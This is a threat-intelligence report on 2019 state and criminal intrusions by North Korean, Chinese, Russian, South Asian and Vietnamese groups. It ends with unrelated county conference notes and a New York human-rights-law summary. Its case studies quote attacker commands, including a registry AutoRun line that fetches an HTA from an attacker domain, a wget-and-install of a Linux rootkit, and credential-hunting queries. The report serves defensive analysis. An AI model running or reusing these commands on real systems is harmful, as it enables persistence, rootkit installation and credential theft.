In mid-2019, VELVET CHOLLIMA conducted another intrusion. The targeted user received a highly tailored spear-phishing email with a malicious decoy Word document attachment. The first-stage payload was retrieved with a file name of Drfwj0.hta via mshta.exe from the actor-controlled domain https://bit-albania[.]com.

**Notable Adversary Behavior**

Analysis of Drfwj0.hta found it to be an executable HTA file written in VBScript that acted as a BabyShark downloader. It downloaded and decoded another payload using a custom decoding algorithm from the same domain (https://bit-albania[.]com).
This payload decoded to a VBScript, which was Stage 1 of the VELVET CHOLLIMA BabyShark implant. The script also configured a persistence mechanism by setting an autorun key to download and execute the second-stage HTA downloader whenever cmd.exe is run:

```powershell
reg add "HKEY_CURRENT_USER\Software\Microsoft\Command Processor" /v AutoRun /t REG_SZ /d "powershell.exe start-process -windowstyle hidden -filepath mshta.exe https://bit-albania[.]com/[REDACTED]/Drfwj.hta" /f
```

The script then modified registry settings associated with Microsoft Office to suppress VBA warnings regarding macros, doing so by forcing the creation of the same associated Registry value for three different versions of MS Word. Rather than first checking which version of MS Office was installed, the script ran registry modification commands for multiple versions to ensure the changes took effect. The script also performed basic discovery commands. Output from the discovery commands was saved to %APPDATA%\Microsoft\ttmp.log before being base64-encoded and uploaded to:

https://bit-albania[.]com/BackUps/[REDACTED]/upload.php

Finally, the script created scheduled tasks with SYSTEM-level privileges that essentially launch cmd.exe to trigger the persistence mechanism.

The second-stage HTA downloader, Drfwj.h.t.a, then retrieved the second stage of the BabyShark implant from:


The second stage was a VBScript that executed more host discovery and checked if the adversary wanted to deploy additional modules.

**Conclusions and Recommendations**

Due to the organization’s timely response in containing the host, further malicious activity, including credential dumping or lateral movement, was not observed. Like many other targeted adversaries, VELVET CHOLLIMA often employs similar spear-phishing techniques to socially engineer its intended victims. Therefore, user awareness and education are essential to limit vulnerability to customized phishing lures. In addition, robust monitoring, detection and threat hunting are vital to ensuring an effective network defense posture.
LOOKING FORWARD

On December 27, 2019, a judge in the U.S. District Court for the Eastern District of Virginia unsealed a civil case filed against two John Does associated with VELVET CHOLLIMA. This action resulted in the seizure of about 50 domains used by VELVET CHOLLIMA to conduct web-based credential harvesting and to use as C2 for the custom tools GoldGrabber and BabyShark. Concurrently, the closing months of 2019 saw a reduction in the number of BabyShark operations observed by CrowdStrike Intelligence. That said, previous legal actions against DPRK adversaries have done little to slow their operations, and CrowdStrike Intelligence expects VELVET CHOLLIMA to continue targeting government, non-governmental organizations (NGOs) and academic entities working on nuclear nonproliferation issues.

This target scope is particularly relevant considering that diplomatic relations between DPRK and the U.S. cooled over the course of 2019. As the year-end deadline for nuclear negotiations approached in December, North Korea accused the U.S. of dragging its feet, and then announced it would no longer be bound by limitations on its weapons testing. While disruptive cyber activity against the U.S. has not been observed, a return to harsher rhetoric only further supports the assessment that DPRK-affiliated adversaries will continue at the current pace of operations. Because sanctions relief is unlikely, these operations will very likely include further targeting of the financial sector, particularly cryptocurrency exchanges, as cryptocurrency can be used outside of conventional banking platforms. There may also be a return to more military-based targeting if tensions escalate in 2020.

While disruptive cyber activity against the U.S. has not been observed, a return to harsher rhetoric only further supports the assessment that DPRK-affiliated adversaries will continue at the current pace of operations.
Chinese adversary activity was steady throughout 2019, with a prominent focus on the telecommunications sector. Healthcare entities were also included, providing further evidence that Chinese targeted intrusions are enabling corporate espionage of information vital to bolstering these key industries domestically. China also continued to target the government and defense sectors of regional neighbors, with a concentrated focus on Southeast Asia late in the year.

Both CrowdStrike Intelligence analysis and multiple public reports revealed malicious cyber activity targeting minority populations, such as Tibetans and Uyghurs. China also used computer network operations designed to impede the citizen protests in Hong Kong that occurred in the latter half of 2019. The range of these activities runs the gamut from use of iOS exploits and strategic web compromises (SWCs), to distributed denial of service (DDoS) attacks and influence operations.

The majority of observed activity has been attributed to adversaries that CrowdStrike Intelligence has assessed to be supporting or working for China's Ministry of State Security (MSS). CrowdStrike identified numerous active WICKED PANDA infections in the first half of the year, then additional new malware samples in Q3 and Q4 2019, even after industry reporting detailed WICKED PANDA (aka APT 41) operations. Activity attributed to WICKED PANDA and a possible CIRCUIT PANDA operation included supply chain compromises, demonstrating China's continued use of this tactic to identify and infect multiple victims. Additional evidence has indicated that some older named adversaries have reemerged; these include PIRATE PANDA and STALKER PANDA, both of which were unobserved in 2018.

It is suspected that actors associated with the People's Liberation Army (PLA) remain active, although CrowdStrike Intelligence's current visibility into their targeting and TTPs is limited. LOTUS PANDA is associated with the PLA Strategic Support Force (PLASSF) at low confidence, and the return of hibernating adversaries like STALKER PANDA and PIRATE PANDA — neither of which have been associated with MSS — may herald a resurgence of more PLA-aligned actors. Several unnamed but suspected Chinese activities were identified, but due to the use of publicly available toolsets, attribution remains undetermined. This activity underscores how China's use of open-source and LOTL TTPs continues to be a highly effective means of inhibiting analysis and remediation efforts.
# Active Adversaries

<table>
<thead>
<tr>
<th>Adversary</th>
<th>Ops Tempo</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>WICKED PANDA</td>
<td>High</td>
<td>Continuing the high-volume operations observed in 2018, WICKED PANDA was linked to multiple compromises in 2019, including suspected ties to supply chain compromises. This adversary targeted a wide variety of sectors, including telecommunications, technology, gaming, hospitality, utilities and pharmaceutical.</td>
</tr>
<tr>
<td>MUSTANG PANDA</td>
<td>High</td>
<td>MUSTANG PANDA was consistently active, starting in March and continuing through the end of 2019. Observed activity indicates targets are likely in or related to Vietnam, Myanmar, Mongolia and Pakistan.</td>
</tr>
<tr>
<td>EMISSARY PANDA</td>
<td>Medium-High</td>
<td>EMISSARY PANDA used custom and commodity malware against healthcare and telecommunication sector targets throughout 2019. Numerous incidents suggested that the Middle East is a specific target region for this actor.</td>
</tr>
<tr>
<td>PIRATE PANDA</td>
<td>Medium-High</td>
<td>CrowdStrike Intelligence identified new PIRATE PANDA activity that showed the adversary began to use the 8.t exploit document builder to target Mongolia from March to April, and then again in November against Vietnam.</td>
</tr>
<tr>
<td>LOTUS PANDA</td>
<td>Medium</td>
<td>CrowdStrike identified two compromises linked to LOTUS PANDA at telecommunication companies in Asia. This targeting is consistent with public reporting on an adversary known as Thrip.</td>
</tr>
<tr>
<td>JUDGMENT PANDA</td>
<td>Medium</td>
<td>JUDGMENT PANDA targeted a range of industries, including research centers for defense and biotechnology. Sources confirmed this adversary also targeted a manufacturing sector organization.</td>
</tr>
<tr>
<td>STALKER PANDA</td>
<td>Medium</td>
<td>Activity against petrochemical and industrial manufacturing entities in East Asia was attributed with moderate confidence to STALKER PANDA in early 2019. A similar intrusion was identified in June.</td>
</tr>
<tr>
<td>KRYPTONITE PANDA</td>
<td>Medium-Low</td>
<td>Incidents consistent with previously observed KRYPTONITE PANDA activity were identified targeting Malaysia in October and November 2019.</td>
</tr>
<tr>
<td>CIRCUIT PANDA</td>
<td>Unknown</td>
<td>Based on public reporting, a backdoor installed via legitimate ASUS Cloud WebStorage update client software was closely related to CIRCUIT PANDA's FakeDead malware.</td>
</tr>
</tbody>
</table>

Table 8. Summary of Activity Attributed to Chinese Adversaries in 2019
WICKED PANDA INTRUSIONS

Overview

In early 2019, the Falcon OverWatch team observed increased WICKED PANDA activity across various verticals, including the hospitality, technology, telecommunications and gaming industries. These intrusions exhibited a high operational tempo, a plethora of attack techniques and a custom toolkit developed to support stealthy intrusion operations on Windows- and Linux-based systems.

Initial Observations

During one WICKED PANDA intrusion, OverWatch identified extensive use of LOTL techniques. The threat actor accessed a domain controller, via RDP, using previously acquired credentials and performing initial host reconnaissance followed by installation of a malicious implant and credential theft. As the company expanded endpoint visibility into the environment by deploying the CrowdStrike Falcon platform, OverWatch monitoring progressed and the extent of the intrusion became apparent, with evidence of a strong adversary foothold and lateral movement across the network.

Notable Adversary Behavior

The adversary used the Background Intelligent Transfer Service (BITS) to download and install an implant hosted on a legitimate third-party website. The threat actor renamed the implant as f.exe and copied it to the root directory of the system drive on the compromised domain controller, and subsequently executed the implant with a command-line-supplied password used to decrypt the malicious payload. Once decrypted, as part of the implant’s installation chain, a temporary file was written to the %temp% directory. In its final stage, the temporary file was executed via rundll32.exe and acted as a loader for the main malicious payload, a variant of the Winnti RAT.

Having installed the implant with SYSTEM privileges, the adversary terminated the RDP session, and shortly after, returned to the system through the recently installed malicious implant to harvest credentials with PowerShell Empire cmdlets:

Note that the command line appears to be corrupted with the DownloadString cmdlet rendered as DopireProjeing, leading to a PowerShell method invocation failure. Immediately after, the threat actor attempted to run the Invoke-Mimikatz cmdlet, this time using a correctly formatted command line and a different repository:


Throughout the intrusion, the threat actor continued to execute malicious implants by using a combination of acquired valid credentials and BITS or PowerShell cmdlets to download and execute commands on the local systems. However, in one instance, OverWatch identified the attempts to use a different technique known as DLL search order hijacking to execute the Winnti RAT.

The adversary first copied the implant file to a remote system by using Windows Admin Shares:

\[REDACTED]\c$\windows\apphelp.dll

It then executed the explorer.exe process that loads apphelp.dll via creation of a scheduled task:

schtasks /create /s [REDACTED] /ru "NT Authority\System" /tn [REDACTED] /tr "c:\windows\explorer.exe" /sc once /st 11:37

The malicious implant contained an embedded malicious driver. In order to combat a Windows' restriction requiring any driver on 64-bit systems to be signed by a Microsoft-verified cryptographic signature, the adversary had signed the driver with a legitimate (most likely stolen) certificate from another company.

In a separate WICKED PANDA intrusion, OverWatch observed the adversary deploying its tools, including a user-mode rootkit, on a Linux server. The activity was conducted using a simple Python reverse shell:
The threat actor downloaded a simple malware loader with an embedded Winnti implant and a customized version of a publicly available user-mode rootkit, which was configured to load via the LD_LIBRARY_PRELOAD technique:

```sh
wget [IP Address REDACTED]:82/libsshd.so
sudo ./install
cp ./libsshd.so /lib/x86_64-linux-gnu/libsshd.so
chmod 777 /lib/x86_64-linux-gnu/libsshd.so
```

Successful installation of the rootkit adds the following entry of `/$LIB/libsshd.so` to the `/etc/ld.so.preload` file. This allows the user-mode rootkit to load and precede function calls responsible for stealthy operations on a system, such as anti-debugging, hiding files and network connections, remote access and cleaning up authentication log entries.

**Conclusions and Recommendations**

Due to WICKED PANDA’s propensity to steal and reuse valid credentials, defenders should actively hunt and monitor for suspicious user, administrator and service account behavior across the network. While LOTL techniques are challenging to defend against, some actions can mitigate the threat. For example, relevant to this case, limit PowerShell’s execution policy as much as is reasonably possible. Also, monitor for execution of `rundll32.exe` in unusual circumstances or with abnormal arguments. While defending against rootkits is similarly difficult, it is always wise to ensure antivirus software is enabled with proper prevention policies, and continuously hunt for unexpected DLLs and services.
SECTOR HIGHLIGHT:

TELECOMMUNICATIONS

Multiple Chinese adversaries — including LOTUS PANDA, WICKED PANDA and EMISSARY PANDA — were linked to the targeting of the telecommunications sector in 2019. Other incidents, which were notable for the use of publicly available tools, remain unattributed but appear to support China's efforts against this sector. CrowdStrike Intelligence assesses that China's interest in targeting this sector has arisen along with a need to target upstream providers to support its traditional and economic espionage goals.

The power of telecom data to espionage agencies was illustrated by the malware known as MESSAGETAP, which was reportedly used by WICKED PANDA to monitor short message service (SMS) traffic from telecom networks. MESSAGETAP can collect and store SMS data based on selection criteria, including phone numbers, international mobile subscriber identity (IMSI) numbers and keywords. The ability to collect data based on specific phone numbers and IMSI numbers indicates that the adversary predetermined which individuals to target for collection, possibly identifying phone numbers in previous reconnaissance or collection activities.

Incidents from 2019 include multiple compromises of telecom companies in Asia, showing a continued interest in regional neighbors. While these incidents may also support traditional or economic espionage goals, open-source reporting from September 2019 claimed that some targeted intrusions against telecoms were used by China to track Uyghurs in Central and Southeast Asia. This activity reportedly targeted telecom operators in Turkey, Kazakhstan, India, Thailand and Malaysia — mirroring the observed target scope for tracked Chinese adversaries.

Telecom sector targeting — especially in the Central and Southeast Asia regions — would also complement China's plan to develop a Digital Silk Road. This initiative aims to broaden and deepen digital connections to other nations via the construction of cross-border and submarine optical cables, communication trunks and satellite information passageways, and the development of fifth-generation (5G) mobile networks. Regarding 5G technology specifically, multiple governments (including the United States) have taken note and refused opportunities to work with Huawei, citing concerns over the company's associations to military and intelligence services in China, Russia and DPRK.
LOOKING FORWARD

The publication of WICKED PANDA-associated activities, as well as the IntrusionTruth reporting on KRYPTONITE PANDA (reported in January 2020), may have a cooling effect on the MSS’s reliance on using contract entities in the near-term, but CrowdStrike Intelligence expects a return to operations will occur after tactics are reviewed and updated. Targeting by actor groups associated with the MSS will likely continue to focus on maintaining access to upstream telecom providers, as well as developing new supply chain compromises.

CrowdStrike Intelligence anticipates that the first draft of China’s next Five-Year Plan (FYP) will be released in early 2020. This draft is only the first step before a final version is agreed upon in 2021; however, the initial proposal may contain clues about the future priorities of the Chinese Communist Party (CCP) and will help launch planning in numerous CCP agencies. Part of the previous FYP outlined key industries for domestic growth, a vital indication of which sectors are at an increased risk of IP theft. Despite the U.S.’s request for controls on IP theft and corporate espionage, the targeting of U.S. companies engaged in key industries deemed vital to China’s strategic interests — including clean energy, healthcare, biotechnology, pharmaceuticals and others — is likely to continue. CrowdStrike Intelligence assesses this is likely despite announcements from Washington and Beijing that a limited trade deal may bring an end to the U.S.-China trade war.

China’s improving disinformation efforts will continue to have an immediate effect in Hong Kong and Taiwan following their resistance to CCP and support of democratic values throughout 2019 and into 2020. These campaigns will augment China’s robust targeted intrusion resources when dealing with regional neighbors. Western companies are likely to be caught in the middle, between domestic audiences supporting human rights (if only nominally) and pressures from the CCP to bow to censorship. As both Taiwan and Hong Kong are seen by the CCP as “domestic” interference and testing grounds for China-backed cyber operations, they likely foreshadow China’s interest in fomenting unrest and conducting disinformation campaigns on Western democratic elections such as the U.S. presidential election in November 2020.
In 2019, observed Russian computer network operations targeting Ukraine were a predominant feature of targeted intrusions overall. This activity included high-volume PRIMITIVE BEAR activity throughout the year and limited FANCY BEAR spear-phishing campaigns in the fall. These campaigns likely are designed to provide Russian leaders with the information they need to make informed decisions going into diplomatic negotiations, or they may be used tactically by Russia-affiliated forces for battlefield intelligence.

CrowdStrike Intelligence continued to conduct technical analysis of VENOMOUS BEAR’s highly sophisticated toolset. Two tools — Facade and Blueprint — are backdoors that act as mail plugins, communicating to a C2 server via specially crafted email attachments. Facade began as an email logger used within VENOMOUS BEAR’s Chinch malware framework, but in 2018, it was used as a fully fledged backdoor. Blueprint operates in a similar fashion but is installed as a Microsoft Exchange transport agent, a legitimate component of Microsoft Exchange Server. Analysis of the most recent activity attributed to VENOMOUS BEAR indicated that the adversary continues to use the Chinch and Snake malware frameworks, as well as the AesLoader and the Skipper backdoor.
### Active Adversaries

<table>
<thead>
<tr>
<th>Adversary</th>
<th>Ops Tempo</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>PRIMITIVE BEAR</td>
<td>High</td>
<td>Throughout 2019, CrowdStrike Intelligence observed PRIMITIVE BEAR extensively targeting the Ukrainian government and military sector in high-tempo targeted intrusion operations.</td>
</tr>
<tr>
<td>FANCY BEAR</td>
<td>Medium</td>
<td>CrowdStrike Intelligence has linked likely spear-phishing campaigns targeting Belarus, Ukraine and Kazakhstan to FANCY BEAR, although this is likely a subset of the adversary’s total activity. FANCY BEAR continues to develop its suite of first-stage tools, which now includes newly observed malware variants dubbed NimbleDown and Zekadero.</td>
</tr>
<tr>
<td>VENOMOUS BEAR</td>
<td>Medium</td>
<td>Evidence identified in 2019, including VENOMOUS BEAR’s compromise of HELIX KITTEN’s infrastructure, has strengthened the assessment that the Middle East and North Africa (MENA) region is within the adversary’s target scope.</td>
</tr>
<tr>
<td>BERSERK BEAR</td>
<td>Medium-Low</td>
<td>CrowdStrike Intelligence continues to monitor available sources to determine the extent of BERSERK BEAR’s activity.</td>
</tr>
<tr>
<td>COZY BEAR</td>
<td>Unknown</td>
<td>CrowdStrike Intelligence is investigating a campaign publicly reported as “Operation Ghost,” which referenced TTPs and tools associated with COZY BEAR.</td>
</tr>
<tr>
<td>VOODOO BEAR</td>
<td>Unknown</td>
<td>CrowdStrike Intelligence continues to evaluate recent industry reporting on activity possibly attributed to VOODOO BEAR.</td>
</tr>
</tbody>
</table>

Table 9.  
Summary of Activity Attributed to Russian Adversaries in 2019
LOOKING FORWARD

Information pertaining to Ukrainian government and military entities is a known standing intelligence objective for numerous Russian intelligence organizations, and the high-volume operations of PRIMITIVE BEAR — as well as the late-2019 focus of FANCY BEAR — are indicative of this mission. As Ukraine and Russia work toward ending a five-year conflict, it is likely that Russia-affiliated intelligence collection operations will continue — if not increase — in the future.

On December 9, 2019, the World Anti-Doping Agency (WADA) concluded that the Russian Anti-Doping Agency (RUSADA) was not in compliance with international regulations governing clean participation in sports, and as a result, the Russian government would be banned from participating in or hosting international athletic competitions for four years and face a fine. CrowdStrike Intelligence notes that Russian state-nexus adversaries and pro-Russian information operation (IO) fronts have taken aim at sports regulatory bodies, athletes and events following such bans in the past in retaliation for the exclusion of Russian athletes from international competitions. Based on this historical precedent, CrowdStrike Intelligence assesses that it is highly likely that Russia will respond with targeted intrusions and/or information operations targeting these organizations. Specific targets may include entities with a nexus to the 2020 Tokyo Olympic Games.

As Ukraine and Russia work toward ending a five-year conflict, it is likely that Russia-affiliated intelligence collection operations will continue — if not increase — in the future.
INDIAN SUBCONTINENT

On August 5, 2019, India’s Modi administration revoked Article 370 of the nation’s constitution, thereby stripping the relative political autonomy that the Indian state of Jammu and Kashmir enjoyed for seven decades. This action, assessed to be a significant deviation from the status quo, immediately preceded an increase in targeted intrusion activity from adversaries linked to India and Pakistan. These actors include three named adversaries and an unnamed cluster with a suspected affiliation to India.

Active Adversaries

<table>
<thead>
<tr>
<th>Adversary</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>QUILTED TIGER</td>
<td>After what appeared to be a one-year hiatus, CrowdStrike Intelligence identified renewed activity from QUILTED TIGER in August 2019. A Kashmir-themed lure was observed delivering the adversary’s bespoke BadNews malware.</td>
</tr>
<tr>
<td>VICEROY TIGER</td>
<td>In August 2019, VICEROY TIGER made alterations to its bespoke BackConfig malware, updating the download mechanism, persistence mechanism and data obfuscation. CrowdStrike Intelligence also detected intermittent use of malicious Android malware, including the tool known as KnSpy, with July activity targeting users associated with the contested Jammu and Kashmir region.</td>
</tr>
<tr>
<td>MYTHIC LEOPARD</td>
<td>Unlike the India-based adversaries, MYTHIC LEOPARD was detected consistently throughout the year. Not only has this adversary continued to target Indian government sector entities, but some operations indicated its target scope is expanding.</td>
</tr>
<tr>
<td>BitterCircle activity cluster</td>
<td>This suspected India-affiliated adversary resumed operations from August to October 2019, using previously identified tools. The actors behind BitterCircle operations target the Chinese and Pakistani government and defense sectors.</td>
</tr>
</tbody>
</table>

Table 10. Targeted Intrusion Adversaries Based on the Indian Subcontinent
VIETNAM

In late 2018, Vietnam-based OCEAN BUFFALO was implicated in intrusion activity targeting the automotive manufacturing sector. This departure from OCEAN BUFFALO’s target scope of geopolitical intelligence gathering and reconnaissance indicated that Vietnam also has an economic espionage program. Since this time, unconfirmed third-party reporting released details of suspected OCEAN BUFFALO intrusions against automotive sector entities in Germany and South Korea beginning in Spring 2019. Such targeting coincided with 2019 initiatives from the Vietnam Ministry of Industry and Trade designed to support domestic auto projects. At the same time, Vietnamese authorities announced the goal for its auto industry to produce 35% to 40% of domestic auto components by 2020, an increase from 10%. In March 2019, Vietnam also announced its first made-in-Vietnam automobile, produced by VinFast.

CrowdStrike Intelligence has assessed that the Vietnam Cyberspace Operations Command (Command 86), which was established in January 2018, likely represents the country’s premier entity for computer network operations. This assessment carries moderate confidence, as it is based on open-source reporting and brief statements made by Vietnamese officials. Notably, while the components that make up Command 86 are under the direct administration of Vietnam’s Ministry of National Defense (MND), statements from a March 2018 military conference characterized Command 86 as an affiliate of the MND and revealed that its Communist Party of Vietnam (CPV) organization reports directly to the Central Military Commission (CMC), which oversees the MND.

New missions for this organization began in April 2018, a few months prior to when OCEAN BUFFALO operations against the automotive industry were observed. Additionally, Command 86’s predecessor organization, the General Staff Department’s Information Technology Department, was founded in 2011, less than a year before the first OCEAN BUFFALO activity was observed. As new information comes to light showing potential new overlaps between Command 86 and OCEAN BUFFALO, these factors will be taken into account in further considerations of the potential connection between the two.
OVERWATCH FEATURE

OCEAN BUFFALO INTRUSION

Overview

In early 2019, OverWatch threat hunting uncovered a targeted intrusion attributed to OCEAN BUFFALO. OverWatch observed several notable TTPs, including process hollowing, the referencing of video game characters when naming malicious services and the targeting of email inboxes of senior executives.

Initial Observations

Threat hunting across the organization’s network first identified activity associated with Cobalt Strike on the network, indicating an infection that predated deployment of the CrowdStrike Falcon platform. Hunters found Cobalt Strike payloads running on multiple hosts, hollowing the memory space of various legitimate processes — including Microsoft Word, rundll32.exe and the Windows Server tool esentutl.exe — in order to load.

Notable Adversary Behavior

OCEAN BUFFALO actors also leveraged renamed versions of Sysinternals DebugView (dbgview.exe) to load the malicious payloads using a naming scheme based on characters from the popular Pokemon video game series. For example, the following malicious service named “herdierbulbasaur” was installed and configured to execute via a renamed version of dbgview.exe:

%coMSPEC% /C sTarT "" /B "\[REDACTED]\C$\shayminlandpichu.exe" -accepteula -t

The interactive adversary behavior initially observed involved testing domain trusts via nltest, likely in preparation for lateral movement, and enumerating previous user logons. The actors also enumerated information from the registry regarding SSH connections made using the PuTTY client, which can assist in gathering credentials and details about account activity across the network:

reg query HKCU\Software\SimonTatham\PuTTY\Sessions
The malicious operators later executed more exhaustive discovery commands and moved laterally via SSH, WMI and SMB share connections. They also attempted credential dumping using a variant of Mimikatz. In addition, the adversary used the legitimate Windows Control Panel process `control.exe` to execute malicious DLL implants using `.cpl` file extensions. Further analysis of malware found on the network determined it shared strong similarities with KerrDown, a known OCEAN BUFFALO tool.

As OverWatch continued hunting across the environment, evidence of intrusion activity was extensive. The actors targeted an Exchange email server and employed the Microsoft Exchange PowerShell snap-in to grant a compromised valid domain user account access to several user mailboxes. Discovery and collection actions on the server indicated the adversary’s intent to specifically target email data belonging to senior-level officials.

Hunting also found adversary activity on Linux hosts. After successfully employing valid accounts and execution of `sudo` to elevate privileges, the actors enumerated network connections, edited shell history, viewed sensitive credential files and accessed Puppet configuration files. Linux-based implants were also identified.

**Conclusions and Recommendations**

Analysis of the C2 infrastructure used in this intrusion overlapped with that of other suspected OCEAN BUFFALO attacks. When defending against dedicated targeted adversaries as in this case, organizations should be aware that some techniques used in these attacks (e.g., process hollowing to execute Cobalt Strike implants) are not easily mitigated with preventative controls. This is because they are based on the abuse of system features. Therefore, proactive threat hunting is critical for identifying unusual activity as soon as possible. This intrusion also emphasizes the importance of security training and awareness for senior executives, as targeted adversaries are prioritizing those accounts when performing discovery and attempting data collection.
RANSOMWARE

Criminally motivated ransomware attacks dominated the headlines in 2019, and there are currently no indications that BGH operators will decrease the pace of their operations. Unlike BOSS SPIDER in 2018, CrowdStrike Intelligence analysis indicates that INDRIK SPIDER remains active following the indictment of individuals associated with the group, a testament to the group’s endurance. Following a profitable year, WIZARD SPIDER, DOPPEL SPIDER and PINCHY SPIDER are also unlikely to rest on their laurels. In addition to traditional criminal enterprises, CrowdStrike Intelligence is investigating possible collaboration between sophisticated eCrime adversaries and state-sponsored targeted intrusions, with initial evidence suggesting some tool overlaps and/or cooperation with intelligence services in DPRK and Russia.

Recommendation: Turn it on and push it out! Fully leverage the protection you have.

Time and again, CrowdStrike observed successful intrusions in environments where security controls were in place that could have successfully blocked attacks, but were not configured by the organization to do so or were not fully deployed across the environment. The proliferation of BGH has dramatically increased the impact on organizations that fail to deploy proper protections. Smart organizations will spend the time needed to maximize the protection they gain from existing security controls.

CREDENTIALS

The year 2019 saw increased use of valid credentials in a wide range of cyberattacks, part of the trend toward malware-free attack techniques. Attackers obtained and leveraged credentials to gain access to systems, move laterally across organizations and establish persistence. As long as organizations continue to use basic user IDs and passwords for authentication, CrowdStrike anticipates this trend will continue.
CrowdStrike Intelligence reported on data breaches enabled by the compromise of 2FA. Such incidents highlight the vulnerability of this technology and indicate that mobile phones may continue to be a target of opportunity for malicious actors of all motivations. CrowdStrike Intelligence expects malware designed to intercept tokens or take screenshots of authorization messages will continue to be developed. State-sponsored targeting of mobile platforms will almost certainly be driven by purported domestic security concerns, as exemplified by China’s use of iOS exploit chains against minority communities (reported publicly in August 2019).

**Recommendation: Protect identities.**

As a baseline, 2FA should be established for all users because today’s attackers have proven to be adept at accessing and using valid credentials, quickly leading to deeper compromise. Properly deployed, 2FA makes it much more difficult for adversaries to leverage privileged access to achieve their objectives.

2FA is not a panacea, however, and implementing it does not immediately solve the problem of protecting identities. In addition to 2FA, a robust privilege access management process will limit the damage adversaries can do if they get in, and reduce the likelihood of lateral movement.

**SOCIAL ENGINEERING**

Network defenders should never underestimate the effectiveness of old-fashioned social engineering techniques. While business email compromise (BEC) scammers and targeted eCrime groups have long used telephone conversations to entice victims to open an email or click on a malicious document, incidents in 2019 showed these tactics being adopted by targeted intrusion actors supporting DPRK and Iranian operations. Penetration testing tools like the stalwart Cobalt Strike will remain popular and may increasingly be joined by other red-teaming tactics such as CARBON SPIDER’s use of HID (human input device)- emulation USB devices, which was reported in January 2020.

**Recommendation: Enlist your users in the fight.**

While technology is clearly critical in the fight to detect and stop intrusions, the end user remains a critical link in the chain to stop breaches. User awareness programs should be initiated to combat the continued threat of phishing and related social engineering techniques.
GEOPOLITICAL TENSIONS

The very beginning of 2020 was marked by a sudden increase in tensions between Iran and the U.S., including military action undertaken on both sides. Although rhetoric de-escalated by mid-January, CrowdStrike Intelligence assesses that hacktivism, disinformation campaigns on social media in Farsi and English, and an elevated risk of targeted intrusions (including destructive attacks) will remain through at least the first quarter of 2020. Given previously observed targeting trends, Iran-based targeted intrusion activity is likely to target U.S. and MENA entities in the government, oil and gas, technology and maritime sectors.

Iran and Russia have leveraged U.S. social media platforms to develop information operations (IO) campaigns, and recent evidence has demonstrated that China is quickly developing similar disinformation TTPs. The publication of TTPs associated with these operations may lead to less obvious tactics in the coming year, although the intent will remain the same — to promote division within communities.

**Recommendation: Accept the 1-10-60 challenge.**

Combating sophisticated adversaries requires a mature process that can prevent, detect and respond to threats with speed and agility. CrowdStrike urges organizations to pursue the “1-10-60 rule” in order to effectively combat sophisticated cyberthreats:

- Detect intrusions in under one minute.
- Investigate and understand threats in under 10 minutes.
- Contain and eliminate the adversary from the environment in under 60 minutes.

Organizations that meet this 1-10-60 benchmark are much more likely to eradicate the adversary before the attack spreads from its initial entry point, minimizing impact and further escalation. Meeting this challenge requires investment in deep visibility, as well as automated analysis and remediation tools across the enterprise, reducing friction and enabling responders to understand threats and take fast, decisive action.

**Recommendation: Look for partners to help fill the talent gap.**

Operating at 1-10-60 velocity also takes more than technology. Defending against sophisticated threats ultimately requires mature processes and effective, dedicated security professionals. Not every organization is equipped to engage in this sort of battle 24/7. Successful enterprises often look outward for help, partnering with best-in-class external solution providers to help fill critical talent gaps in a cost-effective manner.
CrowdStrike® Inc. (Nasdaq: CRWD), a global cybersecurity leader, is redefining security for the cloud era with an endpoint protection platform built from the ground up to stop breaches. The CrowdStrike Falcon® platform’s single lightweight-agent architecture leverages cloud-scale artificial intelligence (AI) and offers real-time protection and visibility across the enterprise, preventing attacks on endpoints on or off the network. Powered by the proprietary CrowdStrike Threat Graph®, CrowdStrike Falcon correlates over 3 trillion endpoint-related events per week in real time from across the globe, fueling one of the world’s most advanced data platforms for security.

With CrowdStrike, customers benefit from better protection, better performance and immediate time-to-value delivered by the cloud-native Falcon platform.

There’s only one thing to remember about CrowdStrike: We stop breaches.
Cybersecurity Challenges Facing Counties – Reducing the Risk of Attacks
September 16, 2020

Additional Information:

**New York Laws**
NY SHIELD
State Agencies
https://www.nysenate.gov/legislation/laws/STT/208

All others

**Federal Standards**
NIST

NIST SP 800-53

NIST CSF

**White Paper - The Economic Impact of Cyber Attacks on Municipalities**
KnowBe4
Discrimination, Harassment and Discovery Law Update

Elena Pablo, Esq.
Earl Redding, Esq.
SUMMARY OF 2019 UPDATES TO THE NEW YORK STATE HUMAN RIGHTS LAW WITH RESPECT TO EMPLOYMENT DISCRIMINATION AND HARASSMENT

Prepared By: Roemer Wallens Gold and Mineaux LLP (Earl Redding, Esq.; Elena Pablo, Esq.)
Prepared For: County Attorney Association Conference, Date: September 14, 2020

In August of 2019, New York State passed a major law amending the New York State Human Rights Law (Executive Law Article 15) expanding protections against discrimination and harassment. Below is a summary of the portions of the law most relevant to public employers and when the various provisions are effective.

Effective (and applicable to claims filed on or after) August 12, 2019:

- Requires courts to interpret Human Rights Law (“HRL”) liberally and exceptions to be construed narrowly, regardless of whether similarly worded federal laws have been interpreted liberally;
- Expands the power of the NYS Attorney General to enforce the HRL based on any protected class/category;
- Requires employers to provide employees with notice of employer’s sexual harassment policy in English and in employee’s primary language;
- Requires a study on expanding harassment policies to all types of discrimination;
- Requires review of the state model sexual harassment policies every four years beginning in 2022.

Effective (and applicable to claims filed on or after) October 11, 2019:

- Eliminates the requirement that harassment be “severe and pervasive” in order to rise to the level of a violation of state law;
  - This was the standard previously applied by courts to analyze harassment complaints. The new standard considers whether the conduct “subjects an individual to inferior terms, conditions or privileges of employment because of the individual’s membership in one or more protected category.”
- An employer can be liable even if the individual does not make a complaint of discrimination or harassment to the employer. (This erodes what was previously known as the “Farragher/Ellerth defense,” which provided an affirmative defense for employers who had consistent and accessible harassment complaint procedures where the employee failed to avail themselves of those procedures. That defense may not now apply.)
  - The law instead provides a new affirmative defense for employers, where the employer can show that “the harassing conduct did not rise above the level of what a reasonable victim of discrimination with the same protected characteristic would consider petty slights or trivial inconveniences.”
- Expands protections against discrimination and harassment to domestic workers;
- Expands the protections against discrimination and harassment on any basis to non-employees (previously, this applied only to sexual harassment);
• Allows punitive damages to be awarded against private employers in discrimination and harassment cases ("Private employer" does not include the state or local subdivisions, boards, agencies or commissions);
• Allows for attorney’s fees to be awarded against any employer in employment discrimination cases;
• Expands the prohibition on non-disclosure agreements to all types of harassment (not just sexual harassment);
